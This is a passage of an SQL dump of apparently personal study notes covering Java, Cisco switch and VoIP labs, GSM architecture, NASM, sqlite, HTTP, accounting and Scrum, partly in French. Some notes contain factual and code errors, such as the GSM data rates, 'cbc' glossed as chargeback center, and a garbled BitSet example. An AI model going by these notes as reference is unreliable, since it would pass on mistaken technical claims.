18:42:08'),(548,'#java -get-random by-Math','\ngenerate random double between 0 and 1\ndouble d = Math.random();\n	0.456\n	0.2345\n	.....\n',NULL,NULL,'2015-02-03 19:36:22'),(549,'#java -array -intro','\nint a[] = new int[3];\n// so there are 3elts in the array\na[0]=1;\na[1]=1;\na[2]=1;\n\nfor (int i = 0; i < 3; i++) {\n		System.out.println(a[i]);\n}\n\n',NULL,NULL,'2015-02-10 16:41:42'),(550,'#java -random','\n	Random rand = new Random();\n	int min = 0;\n	int max = 10;\n	int randomNum = rand.nextInt((max - min) + 1) + min;\n',NULL,NULL,'2015-02-03 19:42:51'),(551,'#java -create-array with-initialisation','',NULL,'\nString[] myStrings = { \"One\", \"Two\", \"Three\" };\n','2015-02-10 16:42:11'),(552,'#java -create-array with-initialisation',NULL,NULL,'\nString[] myStrings = { \"One\", \"Two\", \"Three\" };\nint[] myints = {1, 5, 74};\n','2015-02-03 19:51:53'),(553,'#java -copy-array -clone',NULL,NULL,'\nString [] strings = {\"a \", \"b \", \"c \"};\nString [] cp = strings.clone();\n','2015-02-03 19:53:46'),(554,'#java -notation','\nlors de la definition|analyse|conception des classes\n	public void meth00{.....}\n	veut dire que meth00 est bcp surchargee\n	qu_il existe bcp de meth00 mais seulemnt les argumnt qui changent\n	ie, il y a:\n		meth00(int)\n		meth00(String)\n		meth00(int, String, char)\n		....\n',NULL,NULL,'2015-02-03 19:57:41'),(555,'#vim -delete-unwanted-space',':%s/\\s\\+$//',NULL,NULL,'2015-02-18 13:31:48'),(558,'#java -hierarchie -long-list','\nObject\n	AbstractCollection\n		AbstractList\n			AbstractSequentialList\n				LinkedList\n			ArrayList\n			Vector\n				Stack\n		AbstractSet\n			HashSet\n			TreeSet\n	AbstractMap\n		HashMap\n		TreeMap\n		WeakHashMap\n	Arrays\n	BitSet\n	Collections\n	Component\n		Button\n		Container\n			Panel\n			Window\n				Frame\n	Date\n	Dictionary\n		Hashtable\n			Properties\n	File\n	Math\n	Number\n		Integer\n		Double\n	Random\n	Reader\n		InputStreamReader\n			FileReader\n	String\n	StringTokenizer\n	System\n',NULL,NULL,'2015-02-03 20:36:24'),(557,'#java methodology',NULL,NULL,'when u start with java\n	java has to get many classes which will be done inside a package :/\n	\nne sous estimez jamais la hierarchie en java\n','2015-02-03 20:31:30'),(562,'#java -instanceof -examples -test_instance',NULL,NULL,'\nString a = \"testomg\";\nif(a instanceof String){\n	System.out.println(\"yep\");\n}else{\n	System.out.println(\"not instance\");\n}\n','2015-02-03 21:48:41'),(560,'#java -recognize-class-of_object','sop(obj00.getClass());',NULL,NULL,'2015-02-03 20:44:04'),(561,'#java -convert int<>String','\nint a = Integer.parseInt(\"123\");\nString str=String.valueOf(1234);\n\nString b = 3+\"\";\n',NULL,NULL,'2015-02-03 20:44:53'),(563,'#java -make_number_in_power','\nalways it should be a double\ndouble d = Math.pow(4, 5);\nthen\n	d=4^5\n',NULL,NULL,'2015-02-03 21:51:10'),(564,'#java -transtype','\nint a = 6;\ndouble b = (double) a;\n	//	then b is a double\n',NULL,NULL,'2015-02-03 21:54:48'),(565,'#java -string -compare -equalsIgnoreCase','\nif(str00.equalsIgnoreCase(str01))\n	// explicit\n',NULL,NULL,'2015-02-03 22:41:57'),(566,'#java -abstract-class -intro','\nclass abstract must have at least one method\nclass abstract can have method which has instruction inside of the meth\n	ex:\n	abstract class class00 {\n		...\n		public int meth00(){\n			return 0;\n		}\n		...\n	}\n\nla classe qui herite d_une classe_abstraite n_est pas forcee de definir tout les\n	meth du classe_abstraite_mere\n',NULL,NULL,'2015-02-17 16:12:40'),(567,'#java -abstract-method -intro',NULL,NULL,'\nabstr-method should not be inserted inside a \n	__non_abstract_Class__\n\nthis next is wrong:\n	class Class00{\n		...\n		abstract void meth00(){\n		}\n		...\n	}\n','2015-02-03 22:57:06'),(568,'#java -case-to-use-abstract_class',NULL,NULL,'\nhttp://docs.oracle.com/javase/tutorial/java/IandI/abstract.html\nYou want to share code among several closely related classes\nYou expect that classes that extend your abstract class have many common methods or fields, \nYou want to declare non-static or non-final fields\n','2015-02-03 23:09:21'),(569,'#java -case-to-use-interface',NULL,NULL,'http://docs.oracle.com/javase/tutorial/java/IandI/abstract.html\nYou want to specify the behavior of a particular data type, but not concerned about who implements its behavior.\nles methodes dans les interfaces ne sont pas a implementer\n','2015-02-17 16:18:46'),(570,'#gsm -intro','\nGSM uses \n	narrowband Time Division Multiple Access (TDMA) for voice and for SMS\n\ncarry 64 kbps to 120 Mbps of data rates\n\nRoaming is the ability to use your GSM phone number in another GSM network.\n\nit has many types of frequency range (827)\n',NULL,NULL,'2015-02-25 14:31:17'),(571,'#gsm -intro -aim','\nImproved spectrum efficiency.\nInternational roaming.\nLow-cost mobile sets and base stations (BSs).\nHigh-quality speech.\nCompatibility with Integrated Services Digital Network (ISDN) and other telephone company services.\nSupport for new services.\n',NULL,NULL,'2015-02-03 23:33:26'),(572,'#gsm -architecture -intro -basis','\nconsists of several functional entities:\n        ms\n        bss\n        nss\n        oss\n\n                     +--+\n                     |ms|\n                     +-++\n                       |\n              ---------+--------   um_interface\n        +--------------+---------+\n        |           +--+--+      |\n        | B         | bts |      |\n        |           +--+--+      |\n        | S            |         |\n        |     ---------+---------------abis_interface\n        | S            |         |\n        |           +--+--+      |\n        |           | bsc |      |\n        |           +--+--+      |\n        |              |         |\n        +--------------+---------+\n              ---------+---------  a_interface\n                       |\n         +-------------+-------------+          --+\n         |      +---+  |   +---+     |            |\n         |      |vlr|  |   |auc|     |            |\n         |      +---+  |   +---+     |            |\n         |  +---+   +--+--+    +---+ |            +--   N S S\n         |  +hlr|   |M S C|    |eir| |            |\n         |  +---+   +-----+    +---+ |            |\n         |                           |            |\n         +-----------+---------------+            |\n                     |                          --+\n                     v\n              +--------------+\n              |     gmsc     |\n              +------+-------+\n                     |\n                     v\n               +------------+\n               |  pstn      |\n               |      isdn  |\n               |  pspdn     |\n               |      plmn  |\n               +------------+\n',NULL,NULL,'2015-02-25 14:51:21'),(573,'#gsm -bss -intro','\ncomposed of 2parts:\n	bts\n	bsc\n',NULL,NULL,'2015-02-03 23:33:26'),(574,'#gsm -architecture -in-details1','\ngsm network is divided into 4major parts:\n    ss or nss\n    bss\n    ms\n    omc\n=====================================================\n\nnss = msc + hlr + eir vlr + auc\n\n        +---+                               +------+             +----------+\n        |hlr+-----------+         +---------+ AuC  |             |pstn-isdn |\n        +---+           |         |         +------+      +------+pspdn-plmn|\n        +------+       ++---------++       +------+       |      +----------+\n        |sms-sc+-------+gsm_network+-------+ gmsc +-------+\n        +------+       +-+--+-----++       +------+\n        +---+            |  |      |        +-----+\n        |eir+------------+  |      +--------+ cbc |\n        +---+               |               +-----+\n                         +--+--+          +------+                 |\n                         | msc +----------+ vlr  |                 |um_interf\n                         +--+--+          +------+                 |\n                            |                                      |\n                         +--+--+                                   |       ||\n                         |trau |                                   |    +----+\n                         +-+---+                      +-------+    |    |  M |\n           a_interface-----|--------                  |antenna|<------->|  S |\n                           |         |      +---------+ bts   |    |    +----+\n                         +-+-+       |     ++----+    +-------+    |\n                         |bsc+-------------+ bts |                 |\n                         +---+       |     +-----+\n                                     |\n                                     |\n                                     |\n                                     |abis_interface\n\nms: mobile station\nbts: base transceiver sys\nbsc: base station controller\nbss: base station subsystem\n    = bts + bsc\nmsc: mobile switching controller\ngmsc: gateway msc\nsms: short messaging service\ntrau: transcoder and adapter unit\nvlr: visitor location register\neir: equipment identity register\ncbc: chargeback center\nhlr: home location register\n\nisdn: integrated service digital network\npstn: public switched telephone network\n\npspdn:  Packet Switched Public Data Network\n',NULL,NULL,'2015-02-25 13:28:07'),(575,'#linux -conf-bashrc','\n/etc/bash.bashrc\n~/.bashrc\n',NULL,NULL,'2015-02-05 06:24:58'),(579,'#linux -conf-PS1 -bashrc','\nvi ~/.bashrc or /etc/bash.bashrc\nedit srch(PS1)\n#   [] #:~/conf_home\n#       PS1=\'\\n\\[\\033[107m\\] \\[\\033[00m\\] :\\[\\033[01;34m\\]\\w\\[\\033[00m\\]\\$ \'\n\n#   [] root@lin:~/conf_home#\n#       PS1=\'\\n\\[\\033[107m\\] \\[\\033[00m\\] ${debian_chroot:+($debian_chroot)}\\[\\033[01;31m\\]\\u@\\h\\[\\033[00m\\]:\\[\\033[01;34m\\]\\w\\[\\033[00m\\]\\$ \'\n        #|---------------blank_space-----------| |------------------user_name---------------------------|-|------pc_name---|-|--------------current_folder_path---|-#_$-\n\n#   [] # refr_bash\n    # no path of the current emplct\n    #PS1=\'\\n\\[\\033[107m\\] \\[\\033[00m\\] \\$ \'\n',NULL,NULL,'2015-02-05 06:33:58'),(580,'#cisco -check-conf-switch',NULL,NULL,'\nsw# show running-config\n','2015-02-05 07:17:51'),(584,'#cisco *switch -trunk -show-conf',NULL,NULL,'sw(conf)# show interface trunk','2015-02-05 08:21:51'),(585,'#cisco -trunk-protocol',NULL,NULL,'\nthe protocol which allow 2sw to make the trunking is called:\n    802.1the protocol which allow 2sw to make the trunking is called:\n	    802.1q\n','2015-02-05 08:25:33'),(586,'#cisco -trunking -intro after(583)',NULL,NULL,'\nthis should be followed after (583)\n\nu should be able to do this schema\n\n              +---+\n          1.2 |pc0|\n              +---+---------------+\n                                  |\n              +---+               |                                      +---+\n          2.2 |pc1+--------------+|                          +-----------+pc4|  1.101\n              +---+              ||                          |           +---+\n              +---+              ++--+  fa0/4        fa0/4 +---+           +---+\n          2.3 |pc2+--------------+sw0+-- ------------------+sw1+-----------+pc5|   2.102\n              +---+      +-------++--+                     +---+           +---+\n                         |        |                          |\n              +---+      v        |                          |           +---+\n          3.2 |pc3+------v--------+                          +-----------+pc6|  2.103\n              +---+      v                                               +---+\n                         |\n                       +-+                  \n                    +--+---------------+\n                    |ip(3.99)          |\n                                        \n                                        \nu can do whatever u want in the port which will make in communication the 2sw\n\'\nwithout trunk in_fa0/4 of the sw0 and sw1,\nonly pc in vlan1 can communicate through the 2sw, ie\n    1.2 can ping 1.101\nbut 2.102 can_t ping 2.2\n\'\nto make 2.2 able to ping 2.102\n    u have to set fa0/4 to trunk which will able communication of vlan(x0_to_x1)\n      through the 2sw\n\nlet_s do the trunk in fa0/4 able to set communication of vlan_1 till vlan_40, and vlan_99\ngo to fa0/4\nset it to mode trunk\n    sw(conf-int)# switchport mode trunk\n                # switchport trunk allowed 1-40,99\n                # end\ndo that on the 2interfaces which make the sw to communication        \n\nnow u can ping \n	2.103 from 2.2\n	2.2 from 2.103\n	and\n	1.101 from 1.2\n	....\n','2015-02-05 08:30:17'),(587,'#cisco -native-vlan -intro after(586) #todo_not_really_clear',NULL,NULL,'\nif 2sw are in communication but,\n    sw1 is a cisco\n	sw2 is not cisco\nthen sw1 will put packets from sw2 to the native_vlan of sw2\nby default native_vlan is in vlan_1\n\n\nto conf the native vlan in sw\ngo to int fa0/1 \nset the native vlan to vlan_80\n	sw(conf-int)# switchport trunk native vlan 80\n\nif u configured 1sw to native_vlan on vlan_80\n	then u have to conf the sw which is connetcted to it and set a native vlan on vlan_80 also\n','2015-02-05 17:56:56'),(588,'#cisco -show-conf-interface-if_trunk -native -switchport *switch',NULL,NULL,'\nsw(conf)# show interface fa 0/1 switchport\n\nu can see if fa0/1 is in trunking protocol\n...\n##Administrative Mode: Trunk\n...\n\nto see if it is in native\n...\nTrunking Native Mode VLAN: 1 (default)\n...\nit is like that if the native vlan is not configured\n','2015-02-05 15:45:11'),(583,'#cisco -vlan-management -after(520)',NULL,NULL,'\nthis should be followed after doing n_t(520)    \n\n\ncreate a vlan which the name is management,\nthat vlan will define the pc which can conf the sw\nso we have this next one:\n                                +------------------------------------+\n                        +-------+-+                                  |\n         +--------------+   sw    |                                  |\n       +-+-+      +-----+----+----+                                  |\n       |pc1|    +-+-+        | fa0/3                                 |\n       +---+    |pc2|      +-+-+                                     |\n                +---+      |pc3|(192.168.3.2)                        |\n       |----+---------|    +---+                                     |\n            v                                                        |\n          vlan2                                                      |\n                           |---|                                     |\n                                                                     |\n                 in_vlan_3 will be able to telnet or ssh and         |\n                        conf the switch but we have                  |\n                            to conf the switch                       |\n                                                                     |\n                                                                  -+ |\n    create vlan3                                                   | |\n    sw(conf)# vlan 3                                               | |\n    (conf-vlan)# name mgt -- mgt=management                        +-+\n               # exit                                              |\n                                                                   |\n    go to fa0/3 and set it to mode access u know it from (520)     |\n    set the fa0/3 in vlan3, uktf  (520)                            |\n    go in vlan3                                                    |\n        (config)# interface vlan 3                                 |\n    give an ip to the sw                                           |\n               -if)# ip address 192.168.3.99 255.255.255.0         |\n                   # no shutdown                                   |\n                                                                   |\n    now the sw has an ip(3.99),                                    |\n    sw can be pinged by 3.2                                        |\n                                                                   |\n    to tell that the sw can be pinged|managed by some(ifk: 16) pc  |\n    sw(conf)# line vty 0 15                                        |\n            # password pass00                                      |\n            # login                                                |\n            # end                                                  |\n    now we can telnet the sw from 3.2 but we are not yet able to go|in __conf_mode__ of sw\n                                                                   |\n    to set pc in vlan_3 to be able to go in conf_mode of sw        |\n        sw(conf)# enable secret pass00                             |\n                                                                ---+\n    let_s start trunking\n','2015-02-05 07:46:40'),(589,'#cisco -ip-phone',NULL,NULL,'\nhas 2 interfaces:\n    switch\n    pc\n    if u want to connect an ip-phone to switch\n		use the interface switch in the ip_phone\n\n\nit is not powered on by default on packet tracer\n\nto give ip to ipPhone\nu have to use a dhcp_server(from router)\n','2015-02-06 02:50:38'),(590,'#cisco *switch -voice-vlan -voip',NULL,NULL,'\n\n                                                +-----------+\n              +---+                             |routers2811|\n          1.2 |pc0|                             +----------++\n              +---+---------------+                        |0/0\n                                  |                        |        \n              +---+               |                        |                     +---+\n          2.2 |pc1+--------------+|                        |         +-----------+pc4|  1.101\n              +---+              ||                     0/5|         |           +---+\n              +---+              ++--+  fa0/4              +-----------+           +---+\n          2.3 |pc2+--------------+sw0+-----------------0/4-+    sw1    +-----------+pc5|   2.102\n              +---+      +-------++--+                     +-----+---+-+           +---+\n                         |        |                              0/20|\n              +---+      v        |                              |   |           +---+\n          3.2 |pc3+------v--------+                              |   +-----------+pc6|  2.103\n              +---+      v                                       |               +---+\n                         |                                     +-+---------+\n                       +-+                                     |ipPhone7960|\n                    +--+---------------+                       +-----------+\n                    |ip(3.99)          |\n\nthat schema was first seen on 586\n\nvlan_150 will be for voice\ncreate the vlan_150\ngive a name to vlan_150::voice\nset fa0/20 to vlan_150\n\nu have to set fa0/5 to trunk_vlan(1-2-3-150)\n    bcz the router will be the gateway for all the pc in the network  \n\nfa0/0 of the router will have many ip, bcz it will be a gateway for those vlans\nso:\n                      +-------------------+        +--+-----\n                      |  router_2811      |        |  | 192.168.1.1\n                      +----------+--------+        |  |         2.1\n                                 |                 |            3.1\n                               0/0 ----------------+            150.1\n\nstepXX: to do that:\n    u need subinterface\n    to connect 1.1 to fa0/0_of_router\n    go in fa0/0.1(a sub_interface) of the router\n        r(conf)# interface fa 0/0.1\n    first u need to set that vlan_1 use an encapsulation_dot1q\n        r(conf)# encapsulation dot1q 1\n                                     ^--- bcz vlan_1  \n    and give the ip address(192.168.1.1) to fa0/0.1 (u should be in 0/0.1 already)\n        r(conf-subif)# ip address 192.168.1.1 255.255.255.0\n        \nrepeat stepXX for vlan_(2, 3, 80, 150)\ndo not forget to give a gateway for the pcs\n    ex:\n    1.2 should have 1.1 as a gateway\n    u will be able to change the gateway of a pc from where u changed the ip of a pc\n\n','2015-02-05 18:01:35'),(591,'#cisco -voip after(590)',NULL,NULL,'\n#intro\nthis should be done after doing 590\n#intro_end\n                                                +-----------+\n              +---+                             |routers2811|\n          1.2 |pc0|                             +----------++\n              +---+---------------+                        |0/0\n                                  |                        |        \n              +---+               |                        |                     +---+\n          2.2 |pc1+--------------+|                        |         +-----------+pc4|  1.101\n              +---+              ||                     0/5|         |           +---+\n              +---+              ++--+  fa0/4              +-----------+           +---+\n          2.3 |pc2+--------------+sw0+-----------------0/4-+    sw1    +-----------+pc5|   2.102\n              +---+      +-------++--+                     +-----+---+-+           +---+\n                         |        |                              0/20|\n              +---+      v        |                              |   |           +---+\n          3.2 |pc3+------v--------+                              |   +-----------+pc6|  2.103\n              +---+      v                                       |               +---+\n                         |                                     +-+---------+\n                       +-+                                     |ipPhone7960|\n                    +--+---------------+                       +-----------+\n                    |ip(3.99)          |\n\n\nto give an ip to the ipPhone, u have to set a dhcp_server on the router\nto do that\n    r(conf)# ip dhcp pool voip00                                        -+\n     (dhcp-config)# network 192.168.150.0 255.255.255.0                  |\n                              ^-------- netw which the ipPhone is in     +-- we configured\n                                                                         |   the dhcp in the\ndefine the gateway in the router which the voip will hand_out            |       router\n  bcz the router is a gateway for many netw:1.0/24, 2.0/24, ...          |\n     (dhcp-config)# default-router 192.168.150.1                         |\n                                                                         |\nwe have to set a code for the voip in our router                         |\n     (dhcp-config)# option 150 ip 192.168.150.1                          |\n                            ^---this is a code but not a vlan_number    -+\n\nwe have to conf the telephony-service on the router                     -+--- we start to configure\n    r(config)# telephony-service                                         |     the telephony-srvc in\n     (config-telephony)#                                                 v     the router\nto convey the max of number in the telephony-service                     v\n                       # max-dn 10                                        \n                                 ^-- so there_is 10number supported in our telephony_service\n                             ^-- dn is an abbrev for dial_number\n                       # max-ephone 10\n                                     ^-- so there is 10phones supported in our telephony_service\n\nwe have a telephony-service, \n  but we don_t have an ip which is connected to our telephony-service\n    to make an ip connected to our telephony-service, we have to do:\n                       # ip source-address 192.168.150.1 port 2000\n                                                               ^-- this is the port for our telephony\nto do an automatic assignment of number for the telephony which are connected to our telephony-srvc\n                       # auto assign 1 to 9 \n                                    ^^^^^^-- bcz we conveied 10 number and phones able to \n                                                connect to our phone\n\nwe have to set the switchport which will redirect to our ipPhone in the sw\nbefore it was a trunk or access mode in the sw\ngo to int_fa0/20 in the sw  \n  sw(conf-if)# switchport mode access\nreverse that 0/20 is in vlan_150,\n  note that it is right that it is in mode_access\n             # no switchport access vlan 150\n             # switchport voice vlan 150\n\n\nlet_connect another ipPhone to our switch\nso:\n                  +-----------+\n                  |    sw     |\n                  +-+-------+-+\n                 0/20       0/21\n                    |       |      +----this is the new one\n                    |       |      v\n            +-------+-+    ++------+----+\n            |ipPhone00|    |   ipPhone01|\n            +---------+    +------------+\n\nlet_give a number to our phones\nnotes that there is order in which we connected our phone\n  we connected ipPhone00 in the first_time\n    then it should be that which will get the first number\nto give a number to the phone, we have to conf the router\n    r(config)# ephone-dn 1\n                         ^-- to tell that we want to give a number to our first connected phone\n             # number 62001\n                      ^^^^--- this is the number which is given\n             # ephone-dn 2\n             # number 62002\n\nu can check if the ipPhone got an ip or not from the router\n  r(config)# show running-config\n    out:\n      ...\n    ephone-dn 1\n     number 62001\n\n    ephone 1\n     device-security-mode none\n     mac-address 0002.178D.3C57\n     type 7960\n     button 1:1    \n      ...\n\nif everything was OK,\nu should be able to call from ipPhone00 to ipPhone01\n\n','2015-02-06 03:01:49'),(592,'#asm #nasm -intro',NULL,NULL,'nasm is portable\n\nasm program is divided into some sections:\n	section .data\n		to declare initialized data\n	section .text\n		here is where u write ur assembly code\n	\n','2015-02-06 03:39:39'),(593,'#nasm #asm -intro -hello',NULL,NULL,'\nu have this next in ur hello.asm\nsection .data\n	hello:     db \'Hello world!\',10    ; \'Hello world!\' plus a linefeed character\n	helloLen:  equ $-hello             ; Length of the \'Hello world!\' string\n	                                   ; (I\'ll explain soon)\n\nsection .text\n	global _start\n\n_start:\n	mov eax,4            ; The system call for write (sys_write)\n	mov ebx,1            ; File descriptor 1 - standard output\n	mov ecx,hello        ; Put the offset of hello in ecx\n	mov edx,helloLen     ; helloLen is a constant, so we don\'t need to say\n	                     ;  mov edx,[helloLen] to get it\'s actual value\n	int 80h              ; Call the kernel\n\n	mov eax,1            ; The system call for exit (sys_exit)\n	mov ebx,0            ; Exit with return code of 0 (no error)\n	int 80h\n\nassemble it and it will create a hello.o \n	nasm -f elf hello.asm\ncreate an executable and create a link between the exe and the hello.o\n	ld -s -o hello hello.o\nrun it\n	./hello\n','2015-02-06 03:59:49'),(594,'#ipV6 -intro','\nipV6 will be used for internet_version2\nipv6 work on network_layer(layer_3)\n\nData prioritization in IPv4 is not up to date\n    ie IPv4 has a few bits reserved for Type of Service or Quality of Service\n    they do not provide much functionality\n\nipv(0-3) was used in the development|experiment use only\n    and so is ipv5\n',NULL,NULL,'2015-03-07 15:18:31'),(595,'#ipv4 -intro',NULL,NULL,'\nit is a 32bits long\nso there is 2^32 addresses in ipv4','2015-02-06 04:19:17'),(596,'#sqlite -intro -long-list',NULL,NULL,'\nin linux to start sqlite is\n	$ sqlite3\nnow u_re in the prompt of sqlite\n	sqlite> \n\nto get help\n	sqlite> .help\n\nto list all tables in sqlite\n	.tables\n\nto list all databases\n	.databases\n\nto show how table00 was created\n	.schema table00\n\nthere is a table which hold all information about ur db\nthat table is: sqlite_master\n\nsqlite is case insensitive\n\ncomment in sqlite is like this:\n	sqlite> .tables -- this is a single line comment in sqlite\n\nto create a db in sqlite3\n	in ur prompt of linux, type this\n	# sqlite3 db00.db\n		-- do not forget the .db\n\nto dump db00.db to db00.sql\n	$sqlite3 db00.db .dump > db00.sql\n	ifk: .db is the engine of the db\n			.sql is where the data of the db is stored\n\nto restore a db\n	$sqlite3 testDB.db < testDB.sql\n','2015-02-06 04:52:38'),(597,'#account -introduction','\nAccounting is a business language\n	used to communicate financial transactions and their results\nIt is a comprehensive system to collect, analyze, and communicate financial information\n\nif the number of transaction is very small, then accounting is not so \n	useful\n\nWith the help of accounting process, we can determine \n	the profit or loss of the business on a specific date.\n\ngoals of accounting:\n	to keep systematic records of transactions.\n		to collect financial data and to record it systematically\n	to make sure of profitability\n		to evaluate the profits and losses\n	To ascertain the financial position of the business\n		sometimes with the help of balance_sheet or a statement_of_affairs\n	to assist in decision-making for the future from the result of the past\n	to fulfill compliance of law\n		business entities are being run and governed according to different law\n			such as taxation\n			everyone has to keep and maintain different types of accounts and records as prescribed by corresponding laws of the land\n\n',NULL,NULL,'2015-02-06 16:59:38'),(598,'#account -process','\nThe length of an accounting cycle can be monthly, quarterly, half-yearly, or annually. \nIt may vary from organization to organization but the process remains the same\nAccounting cycle refers to the specific tasks involved in completing an accounting process.\n\n\n                          +------------->>>> 1: collecting& ---------+\n                          |                   analysing_doc          |\n                          |                                          v\n                       9: post                                    2: posting  \n                +->>   closing                                        in      ---+\n                |    trial_balance                                 journal       |\n                |                                                                |\n                8: post                                                          |\n       +->>  closing entries                                        3:ledger     |\n       |                                                              account   <+\n       |                                                                    |\n       |          7: preparation                                            |\n       +-------  of financial                                    4: trial  <<\n                     statements                                    balance -----+\n                         ^                                                      |\n                         |          6: adjusted            5: adjustment        |\n                         +------  trial balance                entries    <<<---+\n                                        ^                        |\n                                        +------------------------+\n\n1: u have to examine the src doc and analyse them\n	 For example, cash, bank, sales, and purchase related documents.\n	 this is a continuous process throughout the accounting period\n2: related to the above doc\n	u pass journal entries using double entry sys in which debit and \n	credit balance remains equal. this should be kept throughout the \n	accounting period\n3: the result from 2 should be put in some ledger account \n#end\n',NULL,NULL,'2015-02-06 22:02:03'),(599,'#java -bitset -intro -example',NULL,NULL,'\nuseful in cases where you need to keep up with a set of Boolean values\nThis makes it similar to a vector of bits\nBitSize(int): allows to specify the initial size\nBitSize(): to create the object\nBitSize implements cloneable interface\nsome methods:\n	void and(BitSet bitSet)\n		ex:	bit00=new BitSet();\n			bit00.set(1):\n			bit00.set(0):\n			bit00.set(1):\n			\'\n			bit01=new BitSet();\n			bit01.set(0);\n			bit01.set(0);\n			bit01.set(1);\n			\'\n			bit01.and(bit00);\n\n	void andNot(BitSet bitSet)\n	void or(BitSet)\n	void xor(BitSet)\n\n	BitSet bits1 = new BitSet(16);\n    BitSet bits2 = new BitSet(16);\n      \n    // set some bits\n	// from above, u shoud be able to do\n	// bits1={1, 0, 0}\n	// bits2={1, 1, 0}\n	\n	bits1.and(bits2);\n	sop(bits1);\n	// out:\n	// 	1, 1, 0\n','2015-02-07 04:17:34'),(600,'#java -data_structure -sd','\nEnumeration\n         you can enumerate (obtain one at a time) the elements in a collection of objects.\n        superseded by iterator, but not deprecated\n        considered as obsolete\n        those next methods are very important for enumeration in java\n                boolean hasMoreElements()\n                Object nextElements()\n#enumeration_end\n#BitSet\n#Vector\n#Stack\n#Dictionary\n#Hashtable\n#Properties\n\n',NULL,'\nEnumeration\n	 you can enumerate (obtain one at a time) the elements in a collection of objects.\n	superseded by iterator, but not deprecated\n	considered as obsolete\n	those next methods are very important for enumeration in java\n		boolean hasMoreElements()\n		Object nextElements()\nBitSet\nVector\nStack\nDictionary\nHashtable\nProperties\n','2015-02-10 15:31:54'),(601,'#pentest -step -methodology','\nhttp://www.tutorialspoint.com/security_testing/security_testing_process.htm\n\n    Foot Printing --+\n    Scanning        +-- ifk, can be bound 2gvr\n    Enumeration   --+\n    Exploitation\n\nFootprinting, the first step that a penetration tester used to evaluate the security of the web application\n	 It means gathering the blue print of a particular system or network and about the \n		devices that are attached to the network under consideration\nScanning, the second step that we perform after Footprinting\n	It involves scanning Open ports, that is the ultimate goal\n	pinging machines, determining network ranges\nenumeration, the last step and performed as a result of scanning\n	the goal is to get the complete picture of the target\n\n',NULL,NULL,'2015-02-07 06:26:27'),(602,'#network -http -content','\nsome continuation in 413\nrequest\n	request line\n	set of request line\n	entity\nresponse\n	status line\n	set of response headers\n	entity\n',NULL,NULL,'2015-02-07 06:32:59'),(603,'#network -introduction -http','\nHTTP is connectionless:\n	the client connects to a server for a request,\n		after that it deconnects and wait a response from server\nHTTP is stateless:\n	The server and client are aware of each other only during a current request\n	Afterwards, both of them forget about each other.\n	neither the client nor the browser can retain information between different request across the web pages\nHTTP is media independent:\n	any type of data can be sent by HTTP\n	This is required for client as well as server to specify the content type using appropriate MIME-type\n',NULL,NULL,'2015-02-07 07:01:15'),(604,'#network -introduction -http','\nHTTP operates at Application Layer\n\nHTTP is connectionless:\n	the client connects to a server for a request,\n		after that it deconnects and wait a response from server\nHTTP is stateless:\n	The server and client are aware of each other only during a current request\n	Afterwards, both of them forget about each other.\n	neither the client nor the browser can retain information between different request across the web pages\nHTTP is media independent:\n	any type of data can be sent by HTTP\n	This is required for client as well as server to specify the content type using appropriate MIME-type\n\nHTTP is NOT a secured protocol.\nHTTP uses port 80 as default for communication\nNo Encryption/digital certificates required for using HTTP\n',NULL,NULL,'2015-02-07 07:03:41'),(605,'#mgt -definition -types','\nLe style de management représente l’ensemble des attitudes et\ndes comportements qui décrit la manière\ndont un responsable exerce son pouvoir sur un groupe.\n\nIl s’agit bien de la façon de commander, d’exercer l’autorité.\n####asdf',NULL,NULL,'2015-02-11 18:45:10'),(606,'#scrum -intro -long-list','qui dit methode dit \"comment faire\" les choses\nscrum se contente d_offrir un cadre de gestion de projet agile(et c deja beaucoup hein:\n	des roles, rythme iteratif, reunions precises et limites dans le tps,\n	des backlog(product backlog, sprint backlog, graphique d_avancement\n	)\n	)\n\nscrum ne couvre pas tout les gestions de projet, xp peut le completer\n\nles 3roles dans scrum:\n	1 product_owner. \n		porte la vision du produit a realiser\n	2 l_equipe de dev. \n		transforme les besoins exprimes par le po en fonctionnalite utilisables\n	    elle doit etre pluridisciplinaire(developpeur, architecte logiciel, ingenieur sys,\n			dba, analyste, graphiste)\n	3 scrum_master.\n		doit maitriser scrum, possede le role de coach aupres du po et aupres de l_equipe de dev\n		s_assure que l_equipe de dev est productive\n		consideree comme le chef de projet\n\n\nvision du produit et product_backlog\n===========================================================================\nCette activité de construction du Product Backlog est collaborative, elle implique le Product Owner et l’équipe de développement\nLa première étape consiste à formaliser la vision du produit (logiciel) que l’on souhaite réaliser\n	guidera les acteurs du projet\n	la suite est de lister les exigences fonctionnelle et non_fonctionnelle du prd\n	Chaque exigence est ensuite _estimée_ par l’équipe de développement avec la technique de __Planning Poker__\n		en fct des estimations, la liste ainsi complétée est ordonnancée. cette liste est le __product_backlog__\n		en convertit en premier les exigences qui apportent le plus de valeur ajoutée au client\n\nprd_backlog et vision du prd décrit les principaux objectifs, _jalons_, utilisateurs visés\n\nle chgt du prd_backlog est encouragee pour éliminer les idées de départ qui s’avéreront mauvaises et de prendre en compte les nouvelles idées qui arriveront en cours de route\n\ndemarrage du scrum\n================================================================================\non determine la duree des iterations ou sprint(4semaines max)\n	cette duree devra rester la meme pour avoir resultat propice\nun projet demarre avec \"sprint 0\"\n	dédié aux travaux préparatoires du projet\n		construction du product backlog et de la vision du produit\n		mise en place de l’intégration continue\n\n		definition de l_architecture generale du projet\n		initiation des acteurs a scrum\n		...\n	la duree du sprint-0 peut-etre different de la durée fixée précédemment\n		mais ne pas le faire trop longtemps\n	L’architecture doit être souple et émerger au fil des sprints\n\n\n	\nRéunion de planification de sprint\n================================================================================\n1. quoi\n	qd backlog est finit(suffisamment ordonnancee et complet), on planifie sprint\n	le po revoit alors avec l’équipe de développement \n		la vision du produit, le plan de livraison(jalon et deadline)\n		l’objectif du sprint et le Product Backlog\n	l_equipe doit verifier souvent l_estimation dans backlog\n2. le comment\n	l_equipe de dev fait l_inventaire_ qui permet de rendre les exigences en fonctionnalites\n		utilisable\nselon analyse, si prevision dans backlog est consideree comme erronee\n	alors scrum_master peut reajuster aupres de po la liste des exigences\n\n',NULL,NULL,'2015-02-09 20:26:13'),(607,'#agile -introduction','\nOn parle surtout de paradigme Agile, philosophie agile, approche agile, etc\n\nmanifest = feuille de route\n\n4valR:\n	les personnes et les interactions sont plus importants que les processus et  outils\n	un logiciel qui fonctionne prime sur de la documentation\n	la collaboration est plus important que les suivi d_un contrat\n	la reponse aux chgt passe avant le suivi d_1 plan\n\n12 valeurs:\n	1 satisfaire le client en livrant tot et regulierement des logiciel avec une veritable valeur ajoutees\n	2 acceptes le chgt øeøe un peu 